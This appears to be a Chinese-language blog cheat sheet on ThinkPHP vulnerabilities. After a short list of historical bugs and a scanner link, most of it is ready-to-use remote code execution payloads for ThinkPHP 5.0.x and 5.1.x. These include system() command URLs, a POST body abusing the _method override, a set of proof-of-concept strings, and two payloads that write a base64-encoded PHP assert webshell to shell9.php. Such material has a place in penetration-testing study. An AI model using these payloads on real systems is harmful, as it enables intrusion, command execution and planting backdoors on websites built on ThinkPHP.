常见漏洞-Thinkphp
1.Thinkphp介绍:ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,支持windows/Unix/Linux等服务器环境。
应用:很多cms就是基于thinkphp二次开发的,所以thinkphp出问题的话,会影响很多基于thinkphp开发的网站。
2.Thinkphp历史漏洞:
- ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell
- ThinkPHP5_SQL注入漏洞&&敏感信息泄露
- ThinkPHP3.2.3_最新版update注入漏洞
- ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell
- ThinkPHP3.2.X_find_select_delete注入
- ThinkPHP框架5.0.X_sql注入漏洞分析
- ThinkPHP3.X_order_by注入漏洞
- ThinkPHP5.X_order_by注入漏洞
- ThinkPHP5.X_远程代码执行
3.Thinkphp漏洞发现
Thinkphp特征:页面特点很明显,写着Thinkphp几个大字
漏洞检测工具:https://github.com/Lucifer1993/TPscan
4.Thinkphp漏洞利用
(1)漏洞简介(5.0.23):其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
漏洞利用(命令执行)
POST /index.php?s=captcha Data:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id #模板
###例子
_method= construct&filter[]=system&method=get&server[REQUEST_METHOD]= echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > shell9.php

(2)漏洞简介(5.0.22/5.1.29):其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
<1>漏洞利用(代码执行)
http://靶机IP:靶机端口/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

http://靶机IP:靶机端口/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

<2>漏洞利用(写webshell)
http://靶机IP:靶机端口/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > shell9.php

<3>漏洞利用(poc)
s=/index/\think\request/cache&key=1|phpinfo
其他poc
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][1]=3
thinkphp5 poc 集合
poc0 ='/index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1'
poc1 ='/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1'
poc2 ='/index.php/?s=index/\think\Request/input&filter=phpinfo&data=1'
poc3 ='/index.php?s=/index/\think\request/cache&key=1|phpinfo'
poc4:POST
s=captcha
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
Comments | NOTHING